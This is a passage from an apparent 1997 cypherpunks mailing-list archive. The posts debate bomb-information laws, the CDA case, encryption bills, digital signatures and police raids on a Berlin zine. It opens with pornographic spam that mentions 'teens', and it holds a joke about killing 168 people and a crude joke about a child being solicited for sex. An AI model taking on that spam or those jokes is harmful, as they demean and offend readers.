Special Voyeurism pictures, 1,000's of celebs, S and M,
teens, amateurs, gay-lesbians, XXX, older women, older guys younger girls,
 Blowjobs, cumshots, free video sex, much much more!!
http://www.spring-break97.com/
 WHAT ARE YOU WAITING FOR????????????
http://www.spring-break97.com/
See ya there!






From lucifer at dhp.com  Wed Jun 25 18:01:03 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 26 Jun 1997 09:01:03 +0800
Subject: Bomb Making Info to be Illegal
Message-ID: <199706260047.UAA15143@dhp.com>



Adrogynous Stewart wrote:
> In the final form it only
> prohibits the teaching of bombmaking for criminal purposes. It's not clear
> to me that the bill will restrict such material on the net, unless they
> implies criminal use. 

  Has everyone in society lost their fucking mind?
  Explain to me please, the dire consequences of not having this law.

  Without this law, are people who teach others to make bombs for
criminal purposes not going to go to jail? Bullshit!
  How much of our tax money is being fucked away to pass a law
to establish that the legislation's sponsors aren't in favor of
children in a daycare being bombed?
  People who currently teach bombmaking for criminal purposes are
already going to jail. No doubt a new law will result in some
poor schmuck who is not too good with the English language going
to jail (at our expense) for twenty years for saying "you _should_
use a short fuse" instead of saying "you _could_ use a short fuse"
(or somesuch nonsense).

  Nothing personal, pal, but to even speak about the proposed law
without pointing out that Feinstein is an ignorant bitch who is
fucking away our tax dollars on a useless law, meant to impress 
the dim-witted, is nothing less than conceding to the reign of
knee-jerk stupidity.

  Someone please put up a website teaching people how to use
bananas to commit a crime. I want some company in prison when
I kill 168 people with a banana.

BananaMonger







From stewarts at ix.netcom.com  Wed Jun 25 19:15:11 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 26 Jun 1997 10:15:11 +0800
Subject: One Ryder Truck--One Vote
In-Reply-To: <199706251253.FAA24434@fat.doobie.com>
Message-ID: <3.0.2.32.19970625185156.030f3bbc@popd.ix.netcom.com>



At 05:53 AM 6/25/97 -0700, Nobody wrote:
>  Voting is the new Catch-22/Damned if you do, damned if you don't,
>etc, etc. It's time for a new non-candidate that is a cross between
>Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
>("Steal This Book.").
>  My inclination is for a candidate named "Fuck You!", but I'm sure
>someone else can come up with a more creative candidate. 

Wavy Gravy has occasionally run a "Nobody For President" campaign.
"Who'd be the best President?"		"Nobody!"
"Who's going to balance the budget?"	"Nobody!"
"Who's going to fix the schools?"		"Nobody!"
"Who can you trust with the Bomb?"		"Nobody!"
"Which candidate cares about the poor?"	"Nobody!"

A few years back, the Libertarian Party was trying to get
on the ballot in Washington State by running a governor campaign.
They didn't make it, because they lost the protest votes to
a candidate who changed his name to "Absolutely Nobody".
Absolutely Nobody got about 7% of the vote.

(The unfortunate followup story later ran in the SF Chron 
under the title "Absolutely Nobody died today"; he was in
politics because he was an AIDS activist, and had the disease.)

During the '92 elections, I was considering getting 
Frank Zappa on the ballot in New Jersey.  He'd already dropped
out of the race due to his cancer, but it only takes 1000 signatures there,
which would have been an afternoon's work at Rutgers.
He's dead now, but he probably would enjoy running anyway :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Wed Jun 25 19:22:39 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 26 Jun 1997 10:22:39 +0800
Subject: SF RALLY Against Internet Censorship, Thursday or Friday
Message-ID: <3.0.2.32.19970625190547.0077eaec@popd.ix.netcom.com>



Looks like the CDA decision is going to happen soon...
----- Begin Included Message -----

From: Stanton McCandlish 
Subject: SF RALLY Against Internet Censorship
Date: Tue, 24 Jun 1997 15:02:21 -0700 (PDT)
X-URL: http://www.eff.org/~mech
To: bayff at eff.org (bayff mailing list)

---------- Forwarded message ----------
Date: Tue, 24 Jun 1997 14:05:16 -0800
From: "--Todd Lappin-->" 
To: telstar at wired.com
Subject: SF RALLY Against Internet Censorship

Please help spread the word in the Bay Area!

--Todd Lappin-->
Section Editor
WIRED Magazine
                -- Please forward until June 26, 1997 --
___________________________________________________________________________

               *** RALLY AGAINST INTERNET CENSORSHIP ***

     ** Supreme Court Decision on CDA Expected Wednesday or Thursday **


AMENDMENT I: "Congress shall make no law ... abridging the freedom of
speech, or of the press; or the right of the people peaceably to
assemble."


               *** RALLY AGAINST INTERNET CENSORSHIP ***

          ** South Park, San Francisco, California -- 1 PM **

___________________________________________________________________________

In February 1996, President Clinton made Internet censorship the law of the
land by signing the Communications Decency Act.  The CDA -- a blatant
affront to free speech -- has since become a symbol of the ignorance and
contempt the American political establishment reserves for Internet users
and their constitutional rights.

Now, more than one year later, the United States Supreme Court is poised to
decide the fate of free speech for the 21st century.

On Wednesday or Thursday of this week, the Supreme Court will issue a
decision in the landmark case of ACLU vs. Reno.

On the day the decision comes down, The Electronic Frontier Foundation,
Wired Ventures, and the Citizens Internet Empowerment Coalition invite you
to join us for a RALLY to show your support for free speech online.

PLEASE JOIN US to discuss the free speech implications of this ruling with
plaintiffs and organizers of the legal challenge.

___________________________________________________________________________

WHEN: On the day the Supreme Court issues its decision.

EITHER.... Wednesday June 25, 1997 *OR* Thursday June 26, 1997 at 1 PM

For up-to-the-minute information on the status of the decision, please
visit http://www.ciec.org

WHERE: South Park (between 2nd and 3rd, Bryant St. and Brannan St.) San
Francisco.

SPEAKERS (Tentative List):
Bruce Ennis, the lead attorney who argued this case before the Supremes
Mike Godwin, Electronic Freedom Foundation
Judith Krug, American Library Association
Sameer Parekh, C2Net
Todd Lappin - Wired Magazine

BRING: Attention-grabbing posters, signs, and banners that demonstrate
your committment to free speech and expression, and your feelings
about Congress.

___________________________________________________________________________

FOR UPDATED INFORMATION ON THIS RALLY: http://www.ciec.org/events/sf

FOR BACKGROUND INFORMATION ABOUT THE CDA:
http://www.ciec.org
http://wwww.hotwired.com/special/indecent/
http://www.eff.org/blueribbon.html

___________________________________________________________________________

(NOTE: We are *actively* seeking participation and support from ALL members
of the Bay Area media, online, Internet, new media, and telecommunications
communities. Please forward this message to anyone you think should attend,
and to all relevant mailing lists and newsgroups.)

MEDIA CONTACT:
Lessley Anderson, Wired Magazine, 415-276-5162, lessley at wired.com





--
Stanton McCandlish                                           mech at eff.org
Electronic Frontier Foundation                           Program Director
http://www.eff.org/~mech    +1 415 436 9333 x105 (v), +1 415 436 9333 (f)
Are YOU an EFF member?                            http://www.eff.org/join


----- End Included Message -----




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From markm at voicenet.com  Wed Jun 25 19:23:55 1997
From: markm at voicenet.com (Mark M.)
Date: Thu, 26 Jun 1997 10:23:55 +0800
Subject: Bomb Making Info to be Illegal
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

Steve wrote:

> What's not clear to me, and I wish someone would explain, is how the SC
> managed to find pornography not similarly protected speech.  Arms and
> munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
> others.

It appears that Roth v. United States was the first case before that the
U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
The reasoning was that while offensive, unorthodox, or hateful ideas
are protected by the 1st, they, unlike pornography, have at least *some*
redeeming social value.  The court noted that laws enacted after the
ratification of the U.S. Constitution banned several different kinds of
speech, including profanity, blasphemy, and libel.  It's a very common
tactic for the courts to refer to post-ratification laws to support
limits on Constitutional rights.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM7HB9izIPc7jvyFpAQFYEgf+Kbx6mCeUYFFplzEnJKfP8vnlesgtt/5e
ESOhomTHsQkjgu11hsWkw5mQhrRcF4hHK/4e4fJp4zonY+X9ogtobWoASvunvbGT
XSTILWRkKwJtJIwxCUT2ybgER8vpR5U7AItyDjeGPB6mo7vP3cijkDiGXdmcdS+h
bR1BmAO7+P1YhZxyHTduNA7ywsWTJ2gBSYgaiiDToF/MGySDYqNvBJ0W/f9XeJ9s
Dj1bD3BxfRN1I3trjUlb8G4Ien5ffQxAohbMOqOimqm5PNCguggnERsSNoJVFAMm
JKJxt8N4CyIx0r8J8jpAPf7rQ4j5FNj0cY8QI4h8bZWIjezRtyrbgQ==
=2uUQ
-----END PGP SIGNATURE-----






From digital_matrix at hotmail.com  Wed Jun 25 19:30:36 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Thu, 26 Jun 1997 10:30:36 +0800
Subject: Secure Public Networks Act of the U.S
Message-ID: <199706260224.TAA03052@f54.hotmail.com>

This little gem is extremely scarey, most specifically Title II Sec 207 
and Title III Sec 307 most of all!!  I have been on the phone with 
Congressman Jack Quin of NY, Senator D'Almato of NY, my local Common 
Counselman, and the U.S Attorny's Office (They will be the ones tasked 
with prosecuting offenders under this Bill.). It seems that not one of 
them knows anything about it. And they are currently IN Washington!!!
I was even told by Congressman Quin's Office that no such bills as the 
ProCODE, ProCODE II, or the McCain/ Kerrey Bills have been presented to 
Congress! Talk about your basic denial! I have provided a copy of the 
original HTML version of the SPNA as proposed by McCain and Kerrey. This 
was pulled directly from Senator Kerrey's website.




---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From whgiii at amaranth.com  Wed Jun 25 19:45:43 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 26 Jun 1997 10:45:43 +0800
Subject: One Ryder Truck--One Vote
Message-ID: <199706260229.VAA32436@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.2.32.19970625185156.030f3bbc at popd.ix.netcom.com>, on 06/25/97 
   at 06:51 PM, Bill Stewart  said:

>At 05:53 AM 6/25/97 -0700, Nobody wrote:
>>  Voting is the new Catch-22/Damned if you do, damned if you don't,
>>etc, etc. It's time for a new non-candidate that is a cross between
>>Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
>>("Steal This Book.").
>>  My inclination is for a candidate named "Fuck You!", but I'm sure
>>someone else can come up with a more creative candidate. 

>Wavy Gravy has occasionally run a "Nobody For President" campaign. "Who'd
>be the best President?"		"Nobody!"
>"Who's going to balance the budget?"	"Nobody!"
>"Who's going to fix the schools?"		"Nobody!"
>"Who can you trust with the Bomb?"		"Nobody!"
>"Which candidate cares about the poor?"	"Nobody!"

>A few years back, the Libertarian Party was trying to get
>on the ballot in Washington State by running a governor campaign. They
>didn't make it, because they lost the protest votes to a candidate who
>changed his name to "Absolutely Nobody".
>Absolutely Nobody got about 7% of the vote.

>(The unfortunate followup story later ran in the SF Chron 
>under the title "Absolutely Nobody died today"; he was in
>politics because he was an AIDS activist, and had the disease.)

>During the '92 elections, I was considering getting 
>Frank Zappa on the ballot in New Jersey.  He'd already dropped out of the
>race due to his cancer, but it only takes 1000 signatures there, which
>would have been an afternoon's work at Rutgers.
>He's dead now, but he probably would enjoy running anyway :-)

Is there anything against putting a deadman on the ballot?

Seems like the ultimate protest elect a deadman!

What the hell they can vote in Chicago why shouldn't they have
representation. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7HUto9Co1n+aLhhAQF1lgP9EHLWWH525WU8Ia+7u2kOQA5kQLrAMUr7
eZDVEQ3GeK37UwSGNtYigsKdA8dTp0r5ciqdV8H+vOiQkP37Mxy2mVNLvrlqSoTF
kjNbUPyPMfM9y7DTEysQerRb6QTlGQqZ7AT6Z4k9t7PM5vnbGjUTbvL9+rG+x/DY
dUvZQdY9Tus=
=w8R+
-----END PGP SIGNATURE-----






From declan at pathfinder.com  Wed Jun 25 20:54:09 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Thu, 26 Jun 1997 11:54:09 +0800
Subject: SF RALLY Against Internet Censorship, Thursday or Friday
In-Reply-To: <3.0.2.32.19970625190547.0077eaec@popd.ix.netcom.com>
Message-ID: 



It's most likely to come down Thursday morning. If not, probably next
Monday. 

I've been staking out the Supreme Court every morning. A kind of CDA
deathwatch. A really bad commercial free speech decision today. Still
waiting on assisted suicide, Brady Bill, line item veto as well.

-Declan







From declan at well.com  Wed Jun 25 21:19:33 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 26 Jun 1997 12:19:33 +0800
Subject: More Supreme Court CDA predictions (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Wed, 25 Jun 1997 21:04:10 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: More Supreme Court CDA predictions

[Probably the Supreme Court's last free speech decision before the CDA
came down today in Glickman v. Wileman Brothers. I'm still reading through
the opinion, but as I understand the case, U.S. Agriculture Department
regulations required nectarine and peach growers in California to
contribute to generic pro-nectarine/peach advertising. The Ninth Circuit
struck down the regs, saying the "First Amendment right of freedom of
speech includes a right not to be compelled to render financial support
for others' speech." But today the Supreme Court reversed, ruling that
"Respondents are not required themselves to speak but are merely required
to make contributions for advertising." Souter, Rhenquist, Scalia, and
Thomas dissented. This is hardly a decision that bodes well for the First
Amendment. --Declan]

---------- Forwarded message ----------
Date: Wed, 25 Jun 97 19:15:00 DST
From: "Halpert, James - DC" 


Declan,

One never knows until the opinions are issued, but there is a good deal of
objective evidence contradicting Prof. Volokh's hunch.  At oral argument,
Rhenquist, Scalia and Thomas all asked hostile questions of Bruce Ennis,
and Rhenquist and Scalia stepped in to help out Seth Waxman, the
Government's oralist, when he was having trouble answering tough questions. 

I'm not sure that Rhenquist and Thomas have ever voted to strike down an
indecency restriction.  Although Scalia has been taken somewhat more
libertarian stands on speech restrictions than the other two, he said flat
out at oral argument that he thought the government should win. 

As for the dissenting opinion they all joined Denver Consortium decision
last term, it may have drawn a clearer line than did the plurality
opinion, but would have upheld a requirement that cable subscribers OPT-IN
IN WRITING thirty days in advance of being able to receive indecent
programming.  If you like that, you may well like the CDA .. . .  We'll
see soon enough. 









From landon_dyer at wayfarer.com  Wed Jun 25 21:57:46 1997
From: landon_dyer at wayfarer.com (Landon Dyer)
Date: Thu, 26 Jun 1997 12:57:46 +0800
Subject: future history of remailers
Message-ID: <3.0.32.19970625212724.00bc77e0@mail.wayfarer.com>




  i just picked up greg bear's new SF novel _Slant_.  it's set in mid-
next-century.  i'm only twenty pages into it, so i can't honestly give
it a recommendation yet, but the following is from one of the "chapter
intro" quotes, and it has some cypherpunk-topical stuff in the author's
'techie gobbledygook' in the 2nd paragraph

  [note: possibly offensive ... but if you're on this list, why am i
   bothering to warn you?  :-) ]


>From: Anonymous Remailer
>To: Pope Alexander VII
>Date: December 24 2043
>
>"You're just a Catholic Dickhead, you know that?  Come to my town
>(wouldnt you like to know you shit) sometime and I'll show you a
>GOOD TIME.  Let you bodiguards know that I'm about seven feet tall and
>dressed like the Demons in NUKEY NOOKY which I bet you've plaid too
>you asswipe hippocrit!!!!! Have a nice day!!!!!"
>
>EMAIL Archive (ref Security Inv, Re: Thread = Encyclical 2043 Vatican
>Library> Cultural Tracking STAFF /INDA 332; reverse track through
>Finland> ANONYM REMAIL Code REROUTE> SWITZERLAND/ZIMBABWE> ACCT HDFinster>
>Harrison D. Finster ADDRESS 245 W. Blessoe Street Apt 3-H Greensboro NC
>USA PROFILE> 27 years of age at time of message, >CONCLUSION: FLAME
>PROFILE No action necessary.  ref Vatican Internal Investigator
>comments: "Young, shit for brains.")


  imagine that, the vatican cracking remailers....



  "Democracy is government by the people and for the people, on the
   theory that the people should get the kind of government they
   deserve, good and hard."
                             -- Robert Frezza, _The VMR Theory_






From blancw at cnw.com  Wed Jun 25 22:47:02 1997
From: blancw at cnw.com (Blanc)
Date: Thu, 26 Jun 1997 13:47:02 +0800
Subject: LOSE MONEY FAST!!
Message-ID: <3.0.32.19970625224625.009ff42c@cnw.com>



Gosh, this sounds a lot like Detweiler:   

lots of EXCLAMATIONS and vague, circulating references to unrecognizeable
entities, full of recriminating psychological accusations intended to
elicit a sense of underlying guilt for some kind of immoral attitude.

Think he'd make a good lawyer.

    ..
Blanc






From blancw at cnw.com  Wed Jun 25 22:47:39 1997
From: blancw at cnw.com (Blanc)
Date: Thu, 26 Jun 1997 13:47:39 +0800
Subject: The Grand Compromise is Coming
Message-ID: <3.0.32.19970625223120.009fd2f0@cnw.com>



At 12:01 AM 6/25/97 -0700, Tim May wrote:

>We need to get beyond the sentimentality of concentrating on the
>"innocents" and instead coldly analyze what needs to be done, and then do
>it.
................................................................


After having done what needs to be done, would you then be open to letting
any of the remaining, surviving innocents be apprised of who it was almost
done them in?



    ..
Blanc






From blancw at cnw.com  Wed Jun 25 22:49:59 1997
From: blancw at cnw.com (Blanc)
Date: Thu, 26 Jun 1997 13:49:59 +0800
Subject: The Grand Compromise is Coming
Message-ID: <3.0.32.19970625224902.00a00930@cnw.com>



At 12:01 AM 6/25/97 -0700, Tim May wrote:

>We need to get beyond the sentimentality of concentrating on the
>"innocents" and instead coldly analyze what needs to be done, and then do
>it.
................................................................


After having done what needs to be done, would you then be open to letting
any of the remaining, surviving innocents be apprised of who it was almost
done them in?



    ..
Blanc






From blancw at cnw.com  Wed Jun 25 22:50:52 1997
From: blancw at cnw.com (Blanc)
Date: Thu, 26 Jun 1997 13:50:52 +0800
Subject: LOSE MONEY FAST!!
Message-ID: <3.0.32.19970625224903.009fabf0@cnw.com>



Gosh, this sounds a lot like Detweiler:   

lots of EXCLAMATIONS and vague, circulating references to unrecognizeable
entities, full of recriminating psychological accusations intended to
elicit a sense of underlying guilt for some kind of immoral attitude.

Think he'd make a good lawyer.

    ..
Blanc






From geeman at best.com  Wed Jun 25 22:58:59 1997
From: geeman at best.com (geeman at best.com)
Date: Thu, 26 Jun 1997 13:58:59 +0800
Subject: SAFE: Intl Relations Committee
Message-ID: <3.0.32.19970625214525.006c27c8@best.com>




--- fyi ---
does anyone know for sure what the amendments are/were?

SECURITY AND FREEDOM THROUGH ENCRYPTION (SAFE) ACT
Committee on International Relations: Subcommittee on International 
Economic Policy and Trade approved for full Committee action amended 
H.R. 695, Security and Freedom Through Encryption (SAFE) Act.

anyone know what happened in the Senate Judiciary today?






From frantz at netcom.com  Thu Jun 26 00:14:04 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 26 Jun 1997 15:14:04 +0800
Subject: How did these people find our list?
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: 



At 9:02 AM -0700 6/23/97, Tim May wrote:
>At 3:31 AM -0700 6/23/97, Philip A. Mongelluzzo wrote:
>>I'm sure that the community on this list has discussed this problem at
>>length.  What is the best defense?  How do we get the message out or,
>>better yet, deliver it?
>
>No, actually we have not discussed this "problem" at length. No reason too,
>as this is not a list about parenting and parental techniques and moral
>teachings for children.

Speaking as a parent, the best defense is to be able to discuss the
information your children receive with them.  Your opinion will carry a lot
of weight.  If you say that nice people don't spend their time looking at
photos of naked people, well they are very likely to believe you and act on
that belief.  However, remember that children have a very sensitive
hypocrisy meter.  You better live your own beliefs.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From frantz at netcom.com  Thu Jun 26 00:34:57 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 26 Jun 1997 15:34:57 +0800
Subject: digital signature software
In-Reply-To: <19970624025616.AAA17409@ping>
Message-ID: 



Well, there is the DSS/SHA1 support in Java 1.1.

At 3:55 AM -0700 6/24/97, chewp at pacific.net.sg wrote:
>Hi
>
>Besides PGP and RIPEM/SIG, is anyone aware of other
>US-exportable digital signature software?
>
>Thanks
>
>Lip Ping
>
>chewp at pacific.net.sg


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From Patrick.VanEecke at law.kuleuven.ac.be  Thu Jun 26 01:26:58 1997
From: Patrick.VanEecke at law.kuleuven.ac.be (patrick van eecke)
Date: Thu, 26 Jun 1997 16:26:58 +0800
Subject: Digital Signatures
Message-ID: 



The Interdisciplinary Centre for Law and Information Technology from the 
University of Leuven is currently carrying out a study on the legal aspects 
of Digital Signatures. The current and draft legislation, policies and 
practices of the European Member States as well as the EC's most important 
trading partners is being investigated and analysed. Final aim of the study 
is to provide tools for a common European legal instrument regarding Digital 
Signatures.

More information about the project and important links you can find on the 
website:
http://www.law.kuleuven.ac.be/icri/






From stewarts at ix.netcom.com  Thu Jun 26 02:26:22 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 26 Jun 1997 17:26:22 +0800
Subject: The Grand Compromise is Coming
In-Reply-To: <199706251259.IAA19793@dhp.com>
Message-ID: <3.0.2.32.19970626013008.03122dc0@popd.ix.netcom.com>



>> This is why I think the "use of a special language or
>> whispering in furtherance of a crime" provisions of SAFE will probably be
>> struck down by the Supremes, unless they, too, have forgotten what the
>> Constitution is all about.)
>
>  Ebonics has to be a natural candidate for pleading this to the
...
>  How about five years for calling a drug "Mary Jane" when writing
> it down, four years for "marijuana", three and a half years for
> "marihuana" and six months for "Cannibus Sativa." Calling it
> simply "Killer shit, man!" would be acceptable.

Back when marijuana was illegal in Oklahoma, during the anti-war years
when everybody was paranoid that their phones were tapped by the FBI,
a friend of mine would occasionally have phone conversations like
	"Hey, Steve, I just got some .... Beer.  Want to come over?"
	"Yeah, Joe, I'd really like some .... Beer.  I'll be there
	in about an hour.  Should I bring some .... Pizza?"

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From bdolan at USIT.NET  Thu Jun 26 05:13:39 1997
From: bdolan at USIT.NET (Brad Dolan)
Date: Thu, 26 Jun 1997 20:13:39 +0800
Subject: Another shoe drops
Message-ID: 





---------- Forwarded message ----------

Raids Against 'Interim' Autonomist Zine In Berlin

     On June 12, 1997, more than 500 police in Berlin carried out
a series of raids aimed at criminalizing the weekly autonomist
publication 'Interim'. State agents searched several houses in the
Berlin districts of Friedrichshain, Neukolln, and Kreuzberg.
Several individuals were charged with various felonies including
"rewarding or supporting illegal actions". Police also raided
several printing presses.
     A successful criminalization of the Interim would, in
practical terms, be much more of a blow to the German radical-left
than the recent state campaign against the underground publication
Radikal, because whereas Radikal has only been sporadically
published over the past few years, Interim has appeared *every
week* since the late 1980s. Published as a forum for discussion
for Berlin's radical-left autonome scene, the magazine has
political relevance all across Germany, as it provides an
anonymous forum for publishing communiques from militant action
groups, mobilizations for demonstrations, and debates on politics
and strategy.
     The following is a translation of a statement issued by
Interim following the recent raids.

---
"You Can't Ban A Concept"

Statement From Interim Magazine - June 12, 1997

     Interim has been published weekly for nine years. State
surveillance, repression, and investigations have not stopped it
from appearing. The 1995  Verfassungsschutzbericht' [annual report
from Germany's Office to Protect the Constitution] stated that "a
high degree of trust and discipline among the makers of the
magazine" have prevented the authorities from being able to close
it down. But now the powers that be feel they can do just that.
     Therefore, we'd like to say the following:

1. There is no permanent Interim editorial group, nor a fixed
publishing location. The magazine is continually made and put
together by different people.

2. If any papers were found anywhere during the police raids which
also appeared in the Interim, that doesn't mean a thing. The
Interim has a public mailing address, anyone can send us papers or
documents, and as far as we know, it's not a crime to receive
mail.

3. The cops dismantled printing presses, confiscated computers and
files, filed charges against individuals. It's ridiculous to think
that this will stop the Interim. Because the Interim is a
communications CONCEPT: uncensored, according to the law,
published according to its own rules in the interest of an
anonymous exchange about theory and praxis of undogmatic left-radical
politics. As long as the ruling powers are bent on
destroying society, a radical resistance movement will be
necessary, and it's not possible for a discussion of this
necessity to take place within the boundaries of the laws of the
powers that be. If Schonbohm [former General, now Interior
Minister in Berlin] tries to stop our communication exchange by
confiscations and arrests, he might just as well try to handcuff a
mountain stream. If forced to operate entirely outside of legal
boundaries, that's what we'll do, and there will always be people
willing to make this communications concept possible and who can
run it and diversify it.

4. We view the raids against part of the Interim's structures at
this point in time as a flanking maneuver in the war which
Schonbohm and Ladowski have declared. At a time when resistance to
their cleansing policies is increasing - inner-city actions,
university congresses, mobilizations by squatters, the homeless,
and immigrants - the state wants to eliminate the forum by which
all these forms of resistance can be linked together.

     Even if we aren't able to continue the discussion about our
politics (our politicians??), one thing is clear: Schonbohm has
declared war, and we will react. Repression breeds revolts. We
promise that the next issue of the Interim will be published on
time, with the theme of how we can go on the offensive against
those who want to cleanse the city [before it becomes Germany's
capital again]. All those who wish to participate in this
discussion will find ways of getting their texts to the Interim.

Interim - Weekly Berlin Info

---
Interim On The Internet

     In order to do something about the criminalization of the
Interim, Trend Online in Berlin has set up a Solidarity Homepage
for the publication with news about the recent raids, and we at
Arm The Spirit have set up a mirrorsite. This is to be seen as an
expansion of the publication, not a substitute for it. Interim is
a weekly hardcopy publication and plans to stay that way.

Trend Online's Interim Solidarity Page:
http://www.berlinet.de/trend/interim/

Arm The Spirit's Interim Mirror Site:
http://burn.ucsd.edu/~ats/INTERIM/index.htm

-----------------------------------------------------------------
Arm The Spirit is an autonomist/anti-imperialist information
collective based in Toronto, Canada. Our focus includes a wide 
variety of material, including political prisoners, national 
liberation struggles, armed communist resistance, anti-fascism, 
the fight against patriarchy, and more. We regularly publish our 
writings, research, and translation materials on our listserv
called ATS-L. For more information, contact:

Arm The Spirit
P.O. Box 6326, Stn. A
Toronto, Ontario
M5W 1P7 Canada

E-mail: ats at etext.org
WWW: http://burn.ucsd.edu/~ats
ATS-L Archives: http://burn.ucsd.edu/archives/ats-l
MRTA Solidarity Page: http://burn.ucsd.edu/~ats/mrta.htm
FTP: ftp.etext.org --> /pub/Politics/Arm.The.Spirit






From declan at well.com  Thu Jun 26 06:07:49 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 26 Jun 1997 21:07:49 +0800
Subject: LaMacchia's Revenge, from The Netly News (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 05:47:15 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: LaMacchia's Revenge, from The Netly News



http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

The Netly News Network
June 25, 1997

LaMacchia's Revenge
by Declan McCullagh (declan at well.com)

 David LaMacchia's pirate warez site once hummed
quietly along on a DECstation 5000 just down the hall
from the study lounge on the top floor of MIT's
Stratton Student Center. LaMacchia claims its original
purpose was to let visiting netizens exchange
software. But soon -- either inevitably or
intentionally, depending on whom you believe -- more
and more copyrighted programs began to appear.

  This was enough to prompt the federal government
to charge the MIT undergraduate in April 1994 with the
crime of wire fraud. The indictment argued that his
FTP-like site permitted "on an international scale,
the illegal copying and distribution of copyrighted
software, without payment of software licensing fees."
Yet a federal judge dismissed the case that December,
ruling that while LaMacchia was wrong -- and could be
sued in civil court -- the aspiring computer scientist
was not guilty as charged. Judge Richard Stearns said,
"It is not clear that making criminals of a large
number of consumers of computer software is a result
that even the software industry would consider
desirable."

  Guess again. A group of software companies,
including Microsoft and Adobe, yesterday requested new
laws to eliminate what they termed the "LaMacchia
decision" problem. When a warez site operates for free
-- as most do -- companies currently must sue for
damages in a civil court. In other words, giving that
copy of Quake to your dad is not -- yet -- a federal
felony.

[...]








From declan at pathfinder.com  Thu Jun 26 06:13:00 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Thu, 26 Jun 1997 21:13:00 +0800
Subject: SAFE: Intl Relations Committee
In-Reply-To: <3.0.32.19970625214525.006c27c8@best.com>
Message-ID: 



I forwarded Amy's report which was quite detailed and I believe quite
accurate. I don't have time to type in the amendments myself...

-Declan


On Wed, 25 Jun 1997 geeman at best.com wrote:

> 
> --- fyi ---
> does anyone know for sure what the amendments are/were?
> 
> SECURITY AND FREEDOM THROUGH ENCRYPTION (SAFE) ACT
> Committee on International Relations: Subcommittee on International 
> Economic Policy and Trade approved for full Committee action amended 
> H.R. 695, Security and Freedom Through Encryption (SAFE) Act.
> 
> anyone know what happened in the Senate Judiciary today?
> 
> 






From paul at fatmans.demon.co.uk  Thu Jun 26 06:43:02 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 26 Jun 1997 21:43:02 +0800
Subject: The value of free speech...
In-Reply-To: <199706251254.FAA24496@fat.doobie.com>
Message-ID: 




>   When I was twelve years old a man stepped out of the proverbial
> dark alley in my small hometown and offered me twenty dollars to
> give him a blow-job. I said no.

Had you kept that 20 dollars in a high interest long term access account 
or invested it in stocks it may now have been worth enough to convice you 
to give him the said blow-job. ;-)....

>   If your children see a picture of a young child with a dick
> in his or her mouth and don't see anything wrong with it, then
> I don't think the problem is with the picture.

Very well put, I often use a variant of this as a counter argument to the 
child protection censorship brigade. If parents bring up kids such that a 
picture of a cow being sucked off is going to turn them into a 
bestialist, or a picture of a dead guy is going to turn them into a hard 
as nails killing machine praying for death, the child is pretty fucked up 
in the first place.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Thu Jun 26 06:48:49 1997
